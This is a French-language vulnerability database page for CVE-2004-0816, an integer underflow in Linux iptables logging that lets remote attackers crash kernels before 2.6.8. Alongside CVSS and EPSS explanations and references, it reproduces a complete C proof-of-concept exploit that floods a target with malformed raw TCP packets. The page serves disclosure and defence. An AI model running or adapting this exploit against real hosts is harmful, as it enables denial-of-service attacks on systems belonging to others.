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CVE-2004-0816 : Détail

CVE-2004-0816

7.5
/
HIGH
3.48%V3
Network
2004-10-26 02:00 +00:00
2017-07-10 12:57 +00:00
CVE.org
NVD

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Gestion des alertes

Descriptions

Integer underflow in the firewall logging rules for iptables in Linux before 2.6.8 allows remote attackers to cause a denial of service (application crash) via a malformed IP packet.

Informations

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-191 Integer Underflow (Wrap or Wraparound)
The product subtracts one value from another, such that the result is less than the minimum allowable integer value, which produces a value that is not equal to the correct result.

Metrics

Metric Score Sévérité CVSS Vecteur Source
V3.1 7.5 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 5 AV:N/AC:L/Au:N/C:N/I:N/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

EPSS Score

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

EPSS Percentile

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 24696

Date de publication : 2004-11-20 23:00 +00:00
Auteur : Richard Hart
EDB Vérifié : Yes

/* source: https://www.securityfocus.com/bid/11488/info It is reported that an integer underflow vulnerability is present in the iptables logging rules of the Linux kernel 2.6 branch. A remote attacker may exploit this vulnerability to crash a computer that is running the affected kernel. The 2.6 Linux kernel is reported prone to this vulnerability, the 2.4 kernel is not reported to be vulnerable. */ /* * * iptables.log.integer.underflow.POC.c * * (CAN-2004-0816, BID11488, SUSE-SA:2004:037) * * felix__zhou _at_ hotmail _dot_ com * * */ #include <stdio.h> #include <winsock2.h> #include <ws2tcpip.h> #include <time.h> #pragma comment(lib,"ws2_32") static unsigned char dip[4]; static unsigned int da; static unsigned short dp; static unsigned char dport[2]; static unsigned char sip[4]; static unsigned int sa; static unsigned short sp; static unsigned char sport[2]; /* static void ip_csum(unsigned char *ip, unsigned int size, unsigned char *sum) { unsigned int csum = 0; unsigned char *p = ip; while (1 < size) { csum += (p[0] << 8) + p[1]; p += 2; size -= 2; } if (size) csum += *p; csum = (csum >> 16) + (csum & 0xffff); csum += (csum >> 16); sum[0] = (((unsigned short)(~csum)) >> 8); sum[1] = ((((unsigned short)(~csum)) << 8) >> 8); } */ static void tcp_csum(unsigned char *tcp, unsigned char *ip, unsigned int size, unsigned char *sum) { unsigned int csum = 0; unsigned char *p = tcp; while (1 < size) { csum += (p[0] << 8) + p[1]; p += 2; size -= 2; } csum += (ip[12] << 8) + ip[13]; csum += (ip[14] << 8) + ip[15]; csum += (ip[16] << 8) + ip[17]; csum += (ip[18] << 8) + ip[19]; csum += 0x06; csum += 0x14; if (size) csum += *p; csum = (csum >> 16) + (csum & 0xffff); csum += (csum >> 16); sum[0] = (((unsigned short)(~csum)) >> 8); sum[1] = ((((unsigned short)(~csum)) << 8) >> 8); } static int work(SOCKET s) { DWORD ret = 1; unsigned char buf[1500]; unsigned char *ip; unsigned char *tcp; unsigned int seq = 0x01; struct sockaddr_in host; ZeroMemory(buf, 1500); ip = buf; tcp = buf + 20; ip[0] = 0x45; /* ver & hlen */ ip[3] = 0x28; /* tlen */ ip[8] = 0x80; /* ttl */ ip[9] = 0x06; /* protocol */ ip[10] = ip[11] = 0; ip[12] = sip[0]; /* saddr */ ip[13] = sip[1]; ip[14] = sip[2]; ip[15] = sip[3]; ip[16] = dip[0]; /* daddr */ ip[17] = dip[1]; ip[18] = dip[2]; ip[19] = dip[3]; tcp[0] = sport[0]; tcp[1] = sport[1]; tcp[2] = dport[0]; /* dport */ tcp[3] = dport[1]; tcp[12] = 0x40; /* hlen */ /* HERE */ tcp[13] = 0x02; /* flags */ ZeroMemory(&host, sizeof(struct sockaddr_in)); host.sin_family = AF_INET; host.sin_port = dp; host.sin_addr.s_addr = da; for (;; ) { tcp[4] = (seq >> 24); /* seq number */ tcp[5] = ((seq << 8) >> 24); tcp[6] = ((seq << 16) >> 24); tcp[7] = ((seq << 24) >> 24); tcp[16] = tcp[17] = 0; seq ++; tcp_csum(tcp, ip, 0x14, tcp + 16); if (SOCKET_ERROR == sendto(s, buf, 0x28, 0, (SOCKADDR *)&(host), sizeof host)) { if (WSAEACCES != WSAGetLastError()) { printf("sendto() failed: %d\n", WSAGetLastError()); ret = 1; } else { printf("You must be Administrator!\n"); } break; } } return ret; } static char usage[] = "Usage: %s dip dport sip sport\n"; int main(int argc, char **argv) { WORD ver = MAKEWORD(2, 2); WSADATA data; unsigned char *p; SOCKET s; int ret = 1; BOOL eopt = TRUE; if (5 != argc) { printf(usage, argv[0]); goto out; } if (INADDR_NONE == (da = inet_addr(argv[1]))) { printf("dest ip address is NOT valid!\n"); printf(usage, argv[0]); goto out; } p = (unsigned char *)&da; dip[0] = p[0]; dip[1] = p[1]; dip[2] = p[2]; dip[3] = p[3]; dp = atoi(argv[2]); dport[0] = ((dp << 16) >> 24); dport[1] = ((dp << 24) >> 24); if (INADDR_NONE == (sa = inet_addr(argv[3]))) { printf("source ip address is NOT valid!\n"); printf(usage, argv[3]); goto out; } p = (unsigned char *)&sa; sip[0] = p[0]; sip[1] = p[1]; sip[2] = p[2]; sip[3] = p[3]; sp = atoi(argv[4]); sport[0] = ((sp << 16) >> 24); sport[1] = ((sp << 24) >> 24); srand((unsigned int)time(0)); if (WSAStartup(ver, &data)) { printf("WSAStartup() failed\n"); goto out; } if (INVALID_SOCKET == (s = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, 0, 0, 0))) goto err; if (SOCKET_ERROR == setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&eopt, sizeof(eopt))) goto err1; work(s); err1: closesocket(s); err: WSACleanup(); out: return ret; }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (excluding) 2.6.8

References

http://secunia.com/advisories/11202/
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.mandriva.com/security/advisories?name=MDKSA-2005:022
Tags : vendor-advisory, x_refsource_MANDRAKE
http://www.securityfocus.com/bid/11488
Tags : vdb-entry, x_refsource_BID

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